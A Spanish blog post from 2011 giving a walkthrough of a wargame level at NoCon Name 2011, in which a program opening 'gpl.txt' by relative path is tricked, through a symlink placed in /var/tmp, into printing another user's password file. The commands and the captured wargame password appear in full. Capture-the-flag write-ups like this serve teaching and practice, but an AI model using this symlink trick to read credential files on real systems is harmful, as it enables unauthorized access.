sábado, 17 de septiembre de 2011

Writeup level2 del wargame de la NoCon Name 2011

Al loguearnos como level1 veremos el binario aceptacion_licencia y el fichero de texto gpl.txt. Si ejecutamos el binario veremos que lo que hace es mostrar el fichero gpl.txt. Al analizar el código fuente del programa vemos lo siguiente:

int main() {
   char *args[] = {"/bin/more", "gpl.txt", (char *)0};
   setresuid(1003, 1003);
    printf("Pulsa una tecla para aceptar la licencia GPL...");
    getchar();
   execve("/bin/more", args);
}

Vemos que el fichero gpl.txt que se va a leer no tiene ruta absoluta... por lo tanto se leerá el fichero gpl.txt que haya en el path donde esté cuando ejecute el binario }:).

Hacemos lo siguiente:

$ find / -type d -perm -0002 2>/dev/null
/var/lock
/var/tmp
/dev/shm
$ cd /var/tmp
$ ln -s /home/level1/password.txt gpl.txt
$ /home/level1/aceptacion_licencia
Pulsa una tecla para aceptar la licencia GPL...
qe!U_~!;Eu37]YN

Y ya tenemos la contraseña de level2. Lo que hemos hecho es buscar un directorio donde tengamos permisos de escritura (por ejemplo /var/tmp), y luego creamos allí un enlace simbólico al fichero password.txt que queremos leer... ese enlace se llamará gpl.txt. Luego a la hora de ejecutar el binario (estando situado en /var/tmp, donde hay un fichero gpl.txt que es un enlace a password.txt), este leerá el fichero gpl.txt desde donde estamos ejecutando, por lo que leerá el enlace simbólico, que lo llevará hasta el fichero password.txt y nos lo imprimirá en pantalla.

Puedes bajarte el pdf aquí.

No hay comentarios:

Publicar un comentario